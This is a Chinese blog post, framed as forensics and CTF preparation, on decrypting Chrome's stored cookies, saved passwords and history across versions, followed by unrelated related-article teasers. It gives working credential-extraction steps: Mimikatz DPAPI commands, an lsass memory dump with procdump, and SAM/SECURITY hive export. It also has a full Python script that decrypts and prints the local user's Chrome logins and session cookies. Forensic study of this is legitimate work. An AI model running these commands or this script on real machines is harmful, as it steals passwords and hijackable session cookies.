电子取证中Chrome各版本解密Cookies、LoginData账号密码、历史记录
文章目录
- 1.前置知识点
- 2.对于80.X以前版本的解密
- 拿masterkey的几种方法
- 方法一 直接在目标机器运行Mimikatz提取
- 方法二 转储lsass.exe 进程从内存提取masterkey
- 方法三 导出SAM注册表 提取user hash 解密masterkey文件(有点麻烦不太推荐)
- 方法四 已知用户密码(或hash) 用户SID(masterkey路径) 拿到加密后的masterkey文件
- 方法五 通过域管理员导出backup key 恢复Master key
- 使用masterkey离线解密cookies\logindata
- 3.对于80.X以后版本的加密过程分析
- 解密脚本(支持所有版本)
- History解析
本来想以Chrome的内存取证为基础出Misc题的,但是出题过程中对于各个数据的解密碰到诸多问题,发现网上也没有一个很好的总结性文章,索性简单研究总结记录一下
这里实验所使用的浏览器都为Google Chrome,理论上Chrome内核的浏览器应该都可以,主要针对windows操作系统
80.X版本以前的chrome可以在commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Win_x64/下载到
本文所使用的是commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Win_x64/704086/,对应版本是79.0.3938.0
1.前置知识点
Chrome的重要存储文件有如下:
-
Cookies文件:记录了用户的cookie信息,本质为sqlite数据库
- 80.X版本以前位于
%localappdata%\Chromium\User Data\Default\Cookies
- 80.X版本以后位于
%localappdata%\Google\Chrome\User Data\Default\Cookies
- 至少是110.X版本以后
%localappdata%\Google\Chrome\User Data\Default\Network\Cookies
- 80.X版本以前位于
-
History文件:记录了访问历史记录,本质为sqlite数据库
- 80.X版本以前位于
%localappdata%\Chromium\User Data\Default\History
- 80.X版本以后位于
%localappdata%\Google\Chrome\User Data\Default\History
- 80.X版本以前位于
-
Login Data文件:记录了用户保存的用户名密码,本质为sqlite数据库
- 80.X版本以前位于
%localappdata%\Chromium\User Data\Default\Login Data
- 80.X版本以后位于
%localappdata%\Google\Chrome\User Data\Default\Login Data
- 80.X版本以前位于
-
Local State文件:密钥文件,本质为json
- 80.X版本以前位于
%localappdata%\Chromium\User Data\Local State
- 80.X版本以后位于
%localappdata%\Google\Chrome\User Data\Local State
- 80.X版本以前位于
以上文件路径不一定完全正确并未测过所有版本,但基本上大差不差
在chrome中对于cookies和login data的文件加密在windows中根据版本不同主要分为两种加密方式DPAPI与AES-256-GCM:
-
1、没有以
v10
或v11
为前缀的加密值,主要是在80.X版本以前,为DPAPI加密 -
2、以
v10
或v11
为前缀的加密值,主要是在80.X版本以后,为AES-256-GCM加密
可以使用DB Browser for SQLite或者Navicat查看数据库内容
80版本以后的v10前缀加密:
80版本以前的无v10前缀(也可能有,但加密算法没变,v10后文会提到只是一个iv值),前缀似乎是固定的0x010000(不确定)
2.对于80.X以前版本的解密
对于80以前版本的,采用了DPAPI加密,简单抄抄一下DPAPI:
DPAPI是Windows系统级对数据进行加解密的一种接口无需自实现加解密代码微软已经提供了经过验证的高质量加解密算法提供了用户态的接口对密钥的推导存储数据加解密实现透明并提供较高的安全保证
DPAPI提供了两个用户态接口
CryptProtectData
加密数据CryptUnprotectData
解密数据加密后的数据由应用程序负责安全存储应用无需解析加密后的数据格式。但是加密后的数据存储需要一定的机制因为该数据可以被其他任何进程用来解密当然CryptProtectData
也提供了用户输入额外数据
来参与对用户数据进行加密的参数但依然无法放于暴力破解。总体来说程序可以使用DPAPI来对自己敏感的数据进行加解密也可持久化存储程序或系统重启后可解密密文获取原文。如果应用程序对此敏感数据只是暂存于内存为了防止被黑客dump内存后进行破解也对此数据无需进行持久化存储微软还提供了加解密内存的接口
CryptProtectMemory
和CryptUnprotectMemory
。加解密内存的接口并可指定Flag
对此内存加解密的声明周期做控制详细见Memory加密及优缺点
章节
对于其解密相对来说比较简单,这里主要采用mimikatz进行解密
如果有目标用户的桌面权限,先privilege::debug
提权
然后直接使用命令
dpapi::chrome /in:"%localappdata%\Chromium\User Data\Default\Cookies" /unprotect
如果脱机的时候解密(这里使用我win7虚拟机的cookies),会提示报错,需要对应guid的Masterkey
Master Key:
64字节,用于解密DPAPI blob,使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中
Master Key file:
二进制文件,可使用用户登录密码对其解密,获得Master Key
分为两种:
·用户Master Key file,位于
%APPDATA%\Microsoft\Protect\%SID%
·系统Master Key file,位于
%WINDIR%\System32\Microsoft\Protect\{sid}\User
Preferred文件:
位于Master Key file的同级目录,显示当前系统正在使用的MasterKey及其过期时间,默认90天有效期
拿masterkey的几种方法
方法一 直接在目标机器运行Mimikatz提取
privilege::debug
sekurlsa::dpapi
(需目标用户已登陆)
方法二 转储lsass.exe 进程从内存提取masterkey
如果目标用户已经登陆 lsass进程的内存中会存在masterkey 转储之 使用Mimikatz提取
procdump.exe -accepteula -ma lsass.exe 666.dmp
sekurlsa::minidump lsass.dmp
sekurlsa::dpapi
这里dump下来win7转到物理机中获取
方法三 导出SAM注册表 提取user hash 解密masterkey文件(有点麻烦不太推荐)
需SYSTEM权限
reg save HKLM\SYSTEM SS.hiv
reg save HKLM\SECURITY SE.hiv
m/u 值解密Masterkey文件
mimikatz log "lsadump::secrets /system:SS.hiv /security:SE.hiv"
拿到DPAPI_SYSTEM m/u 后半部分的值 (HASH)
这种方法对应MASTERKEY位置在C:\Windows\System32\Microsoft\Protect\S-1-5-18\{GUID}
dpapi::masterkey /in:C:\Windows\System32\Microsoft\Protect\S-1-5-18\{GUID} /system:HASH
即可拿到masterkey
方法四 已知用户密码(或hash) 用户SID(masterkey路径) 拿到加密后的masterkey文件
这是当时 volatility内存取证题遇到的问题,做内存题用这个方法很好用,原理其实跟方法二没差
先mimikatz获取获取用户密码
接着找到masterkey文件位置
这种方法的文件位置在C:\Users{username}\AppData\Roaming\Microsoft\Protect\{SID}\{GUID}
dpapi::masterkey /in:{masterkeyfile} /sid:{sid} /password:{password} /protected
/password可以用/hash:密码hash代替(NTLM or SHA1)(存疑,没成功过)
即可拿到masterkey
方法五 通过域管理员导出backup key 恢复Master key
利用条件:目标机器加入域 要拿的是域用户的key 拿到域管理员权限
lsadump::backupkeys /system:123.com /export
(需要域管理员权限) 导出domain backup key
dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\{sid}\{guid}" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk
即可拿到masterkey
使用masterkey离线解密cookies\logindata
dpapi::chrome /in:{Cookies} /masterkey:{masterkey} /unprotect
mimikatz会自动储存masterkey和guid对应值,其实可以直接自动解密
3.对于80.X以后版本的加密过程分析
80版本以后的cookies是没法再用masterkey来解密的,提前挖个坑,80版本后基本上失去脱机解密的可能性了,不知道以后有没有机会填坑
直接解会提示报错没有正确的aes的key,80版本后加密变成了aes256gcm
对于cookies和logindata的加密过程详细解析参考
Chrome浏览器Cookie及密码解密的分析过程及Java实现(Windows平台下v10及以上Cookie文件encrypted_value及Login Data文件password_value的解密)-进城务工人员小梅 (meilongkui.com)
查看chrome的加密源码os_crypt_unittest.cc - Chromium Code Search
os_crypt_win.cc文件里记录了具体加密过程,可以看到是用localstate
文件内读取了key
结合源码可以看到这个encrypted_key是base64加密,且以DPAPI为开头的结果
密钥和NONCE/IV的长度也被记录在开头
解密方法也写在同文件里了
可以看出,encrypted_value的前缀v10后为12字节的NONCE(IV),然后再是真正的密文。Chrome使用的是AES-256-GCM的AEAD对称加密,使用BoringsSSL实现:
GCM_TAG_LENGTH=16
解密脚本(支持所有版本)
# -*- coding=utf-8 -*-
import os
import sqlite3
import json
import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import ctypes
from ctypes import wintypes# 定义cookie、localstate、logindata三个文件的位置
cookie_path = os.path.expanduser(os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Network\Cookies'))local_state_path = os.path.join(os.environ['LOCALAPPDATA'], r"Google\Chrome\User Data\Local State")login_data_path =os.path.expanduser(os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data'))# cookie_path = os.path.expanduser(os.path.join(
# os.environ['LOCALAPPDATA'], r'Chromium\User Data\Default\Cookies'))
# local_state_path = os.path.join(
# os.environ['LOCALAPPDATA'], r"Chromium\User Data\Local State")
# login_data_path =os.path.expanduser(os.path.join(
# os.environ['LOCALAPPDATA'], r'Chromium\User Data\Default\Login Data'))class AES_GCM:@staticmethoddef encrypt(cipher, plaintext, nonce):cipher.mode = modes.GCM(nonce)encryptor = cipher.encryptor()ciphertext = encryptor.update(plaintext)return cipher, ciphertext, nonce@staticmethoddef decrypt(cipher, ciphertext, nonce):cipher.mode = modes.GCM(nonce)decryptor = cipher.decryptor()return decryptor.update(ciphertext)@staticmethoddef get_cipher(key):cipher = Cipher(algorithms.AES(key), None, backend=default_backend())return cipherdef dpapi_decrypt(encrypted):class DATA_BLOB(ctypes.Structure):_fields_ = [('cbData', wintypes.DWORD),('pbData', ctypes.POINTER(ctypes.c_char))]try:p = ctypes.create_string_buffer(encrypted, len(encrypted))blobin = DATA_BLOB(ctypes.sizeof(p), p)blobout = DATA_BLOB()retval = ctypes.windll.crypt32.CryptUnprotectData(ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))if not retval:raise ctypes.WinError()result = ctypes.string_at(blobout.pbData, blobout.cbData)return resultexcept Exception as e:print(f"Error in dpapi_decrypt: {e}")return Nonedef get_key_from_local_state():with open(local_state_path, encoding='utf-8', mode="r") as f:jsn = json.loads(str(f.readline()))return jsn["os_crypt"]["encrypted_key"]def aes_decrypt(encrypted_txt):encoded_key = get_key_from_local_state()encrypted_key = base64.b64decode(encoded_key.encode())encrypted_key = encrypted_key[5:]key = dpapi_decrypt(encrypted_key)nonce = encrypted_txt[3:15]cipher = AES_GCM.get_cipher(key)return AES_GCM.decrypt(cipher, encrypted_txt[15:], nonce)def chrome_decrypt(encrypted_txt):if encrypted_txt[:4] == b'x01x00x00x00':decrypted_txt = dpapi_decrypt(encrypted_txt)return decrypted_txt.decode()elif encrypted_txt[:3] == b'v10':decrypted_txt = aes_decrypt(encrypted_txt)return decrypted_txt[:-16].decode()def query_cookie(host):if host:sql = f"select host_key, name, encrypted_value from cookies where host_key = '{host}'"else:sql = "select host_key, name, encrypted_value from cookies"with sqlite3.connect(cookie_path) as conn:result = conn.execute(sql).fetchall()return resultdef query_logindata(url):if url:sql = f"select origin_url, username_value, password_value from logins where origin_url = '{url}'"else:sql = "select origin_url, username_value, password_value from logins"with sqlite3.connect(login_data_path) as conn:result = conn.execute(sql).fetchall()return resultif __name__ == '__main__':print("Decrypt Cookies:")cookies = query_cookie("chat.openai.com") # 可以传入参数筛选指定host_keyfor data in cookies:cok = data[0], data[1], chrome_decrypt(data[2])print(cok)print()print("Decrypt Login Data:")logindata = query_logindata("") # 可以传入参数筛选指定urlfor data in logindata:login = data[0], data[1], chrome_decrypt(data[2])print(login)
解析结果还不错
由于其中对Locat State
的encrypt_key的DPAPI解密似乎是绑定操作系统本身环境的,尝试了各种方法暂未能够在更换主机的情况下解密encrypt_key
History解析
history里面还是记录了很多东西的,包括访问历史记录、下载记录等等
但是都是以明文记录的,这里也就不做过多解释了
在内存取证中推荐一个volatility2的插件superponible/volatility-plugins: Plugins I’ve written for Volatility (github.com)
其中的chromehistory对chrome历史记录的解析还可以
相关文章:

电子取证中Chrome各版本解密Cookies、LoginData账号密码、历史记录
文章目录 1.前置知识点2.对于80.X以前版本的解密拿masterkey的几种方法方法一 直接在目标机器运行Mimikatz提取方法二 转储lsass.exe 进程从内存提取masterkey方法三 导出SAM注册表 提取user hash 解密masterkey文件(有点麻烦不太推荐)方法四 已知用户密…...

Axure元件基本介绍进阶
Axure元件基本介绍进阶 1.Axure元件基本介绍1.在 Axure 中,元件是构建原型的基本构成单元,能够帮助设计师快速创建、重复使用和管理设计元素。以下是 Axure 中元件的基本介绍:1.基本元件: 2.基本元件的使用一.【举例说明】积木&am…...
安卓11添加切换以太网动态静态方法
客户要在app中自由切换动态,静态方法,直接把系统jar-api给他搞了半天搞不定,只有在系统里给他实现一个接口,方法如下: Index: packages/apps/Settings/AndroidManifest.xml--- packages/apps/Settings/AndroidManifes…...
初级数据结构(五)——树和二叉树的概念
文中代码源文件已上传:数据结构源码 <-上一篇 初级数据结构(四)——队列 | NULL 下一篇-> 1、树结构(Tree) 1.1、树结构的特点 自然界中的树由根部开始向上生长,随机长出分支&…...
pdf读取内容缺失(漏字/文字丢失)问题
项目中遇到pdf文件漏字,由于文件涉密,不能展示,简单描述一下: 比如原pff中 姓名:张三 读取结果中:空白:张三 即:原文件说是银行出具的打款证明,银行内部设置了文件权限&a…...
c#面试基础语法——现有⼀个整数number,请写⼀个⽅法判断这个整数是否是2的N次⽅
1.number%20 取余(取模)只能判断number是不是2的倍数但不一定是2的N次方,如:6%20但是他并不是2的N次方 2.(number&(number-1))0 原理:如果number是2的N次方则表示2进制位只有一位是1。如:2 (…...

27系列DGUS智能屏发布:可实时播放高清模拟信号摄像头视频
针对高清晰度的模拟信号摄像头视频画面的显示需求,迪文特推出27系列DGUS智能屏。该系列智能屏可适配常见的AHD摄像头、CVBS摄像头,支持单路1080P高清显示、两路720P同屏显示(同一类型摄像头)。用户通过DGUS简单开发即可实现摄像头…...

YOLOv8改进 | 2023主干篇 | 替换LSKNet遥感目标检测主干 (附代码+修改教程+结构讲解)
一、本文介绍 本文给大家带来的改进内容是LSKNet(Large Kernel Selection, LK Selection),其是一种专为遥感目标检测设计的网络架构,其核心思想是动态调整其大的空间感受野,以更好地捕捉遥感场景中不同对象的范围上下…...
【工具】VUE 前端列表拖拽功能代码
【工具】VUE 前端列表拖拽功能代码 使用组件 yarn add sortablejs --save Sortable.js中文网 (sortablejs.com) 以下代码只是举个例子, 大家可以举一反三去实现各自的业务功能 <template><div><el-button type"primary" click"切换…...

人工智能与量子计算:开启未知领域的智慧之旅
导言 人工智能与量子计算的结合是科技领域的一场创新盛宴,引领我们进入了探索未知领域的新时代。本文将深入研究人工智能与量子计算的交汇点,探讨其原理、应用以及对计算领域的深远影响。 量子计算的崛起为人工智能领域注入了新的活力,开启了…...
2023了,前端实现AI电子秤思路分析
前景小知识: 这几年ai这个话题非常火爆,笔者从事零售行业软件开发也接到了新需求,希望实现ai电子秤,老规矩,先看需求 举个栗子: 或许,你已经留意到,当你在某些大型超市超市或生鲜类…...

CSS学习
CSS学习 1. 什么是css?2.css引入方式2.1 内嵌式2.2 外联式2.3 行内式2.4 引入方式特点 3. 基础选择器3.1 标签选择器3.2 类选择器3.3 id选择器3.4 通配符选择器 4. 文字基本样式4.1 字体样式4.1.1 字体大小4.1.2 字体粗细4.1.3 倾斜4.1.4 字体4.1.5 字体font相关属性连写 4.2 …...

Flask基本用法:一个HelloWorld,搭建服务、发起请求
目录 1、简介 2、安装 3、Flask使用示例 参考 1、简介 官网文档 Flask是一个轻量的web服务框架,我们可以利用它快速搭建一个服务,对外提供接口,其他人可以轻松调用我们的服务。这对算法工程师来说比较关键,我们通常不擅长搞开发…...

Tomcat-安装部署(源码包安装)
一、简介 Tomcat 是由 Apache 开发的一个 Servlet 容器,实现了对 Servlet 和 JSP 的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等。 简单来说,Tomcat是一个WEB应用程序的托管平台…...

【Hadoop_06】MapReduce的概述与wc案例
1、MapReduce概述1.1 MapReduce定义1.2 MapReduce优点1.3 MapReduce缺点1.4 MapReduce核心思想1.5 MapReduce进程1.6 常用数据序列化类型1.7 源码与MapReduce编程规范 2、WordCount案例实操2.1 本地测试2.2 提交到集群测试 1、MapReduce概述 1.1 MapReduce定义 MapReduce是一…...
Qt点击子窗口时父窗口标题栏高亮设计思路
父窗口调用findChildren得到其子孙窗口的列表,列表元素统一为QWidget*,遍历列表元素,每个元素调用installEventFilter,过滤QEvent::FocusIn和QEvent::FocusOut事件,做相应处理即可: QWidget* parent; QLis…...

掌握iText:轻松处理PDF文档-高级篇-添加水印
前言 iText作为一个功能强大、灵活且广泛应用的PDF处理工具,在实际项目中发挥着重要作用。通过这些文章,读者可以深入了解如何利用iText进行PDF的创建、编辑、加密和提取文本等操作,为日常开发工作提供了宝贵的参考和指导。 掌握iText&…...

深度学习基本概念
1.全连接层 全连接层就是该层的所有节点与输入节点全部相连,如图所 示。假设输入节点为X1, X 2, X 3,输出节点为 Y 1, Y 2, Y 3, Y 4。令 矩阵 W 代表全连接层的权重, W 12也就代表 …...

2023年最详细的:本地Linux服务器安装宝塔面板,并内网穿透实现公网远程登录
📚📚 🏅我是默,一个在CSDN分享笔记的博主。📚📚 🌟在这里,我要推荐给大家我的专栏《Linux》。🎯🎯 🚀无论你是编程小白,还是有一…...

基于ssm金旗帜文化培训学校网站的设计与开发论文
摘 要 互联网发展至今,无论是其理论还是技术都已经成熟,而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播,搭配信息管理工具可以很好地为人们提供服务。针对培训学校展示信息管理混乱,出错率高,信息安全…...

Chapter03-Authentication vulnerabilities
文章目录 1. 身份验证简介1.1 What is authentication1.2 difference between authentication and authorization1.3 身份验证机制失效的原因1.4 身份验证机制失效的影响 2. 基于登录功能的漏洞2.1 密码爆破2.2 用户名枚举2.3 有缺陷的暴力破解防护2.3.1 如果用户登录尝试失败次…...

多模态2025:技术路线“神仙打架”,视频生成冲上云霄
文|魏琳华 编|王一粟 一场大会,聚集了中国多模态大模型的“半壁江山”。 智源大会2025为期两天的论坛中,汇集了学界、创业公司和大厂等三方的热门选手,关于多模态的集中讨论达到了前所未有的热度。其中,…...

高频面试之3Zookeeper
高频面试之3Zookeeper 文章目录 高频面试之3Zookeeper3.1 常用命令3.2 选举机制3.3 Zookeeper符合法则中哪两个?3.4 Zookeeper脑裂3.5 Zookeeper用来干嘛了 3.1 常用命令 ls、get、create、delete、deleteall3.2 选举机制 半数机制(过半机制࿰…...
Frozen-Flask :将 Flask 应用“冻结”为静态文件
Frozen-Flask 是一个用于将 Flask 应用“冻结”为静态文件的 Python 扩展。它的核心用途是:将一个 Flask Web 应用生成成纯静态 HTML 文件,从而可以部署到静态网站托管服务上,如 GitHub Pages、Netlify 或任何支持静态文件的网站服务器。 &am…...

Docker 本地安装 mysql 数据库
Docker: Accelerated Container Application Development 下载对应操作系统版本的 docker ;并安装。 基础操作不再赘述。 打开 macOS 终端,开始 docker 安装mysql之旅 第一步 docker search mysql 》〉docker search mysql NAME DE…...

招商蛇口 | 执笔CID,启幕低密生活新境
作为中国城市生长的力量,招商蛇口以“美好生活承载者”为使命,深耕全球111座城市,以央企担当匠造时代理想人居。从深圳湾的开拓基因到西安高新CID的战略落子,招商蛇口始终与城市发展同频共振,以建筑诠释对土地与生活的…...

(一)单例模式
一、前言 单例模式属于六大创建型模式,即在软件设计过程中,主要关注创建对象的结果,并不关心创建对象的过程及细节。创建型设计模式将类对象的实例化过程进行抽象化接口设计,从而隐藏了类对象的实例是如何被创建的,封装了软件系统使用的具体对象类型。 六大创建型模式包括…...
Python 训练营打卡 Day 47
注意力热力图可视化 在day 46代码的基础上,对比不同卷积层热力图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader import matplotlib.pypl…...

通过MicroSip配置自己的freeswitch服务器进行调试记录
之前用docker安装的freeswitch的,启动是正常的, 但用下面的Microsip连接不上 主要原因有可能一下几个 1、通过下面命令可以看 [rootlocalhost default]# docker exec -it freeswitch fs_cli -x "sofia status profile internal"Name …...

Unity中的transform.up
2025年6月8日,周日下午 在Unity中,transform.up是Transform组件的一个属性,表示游戏对象在世界空间中的“上”方向(Y轴正方向),且会随对象旋转动态变化。以下是关键点解析: 基本定义 transfor…...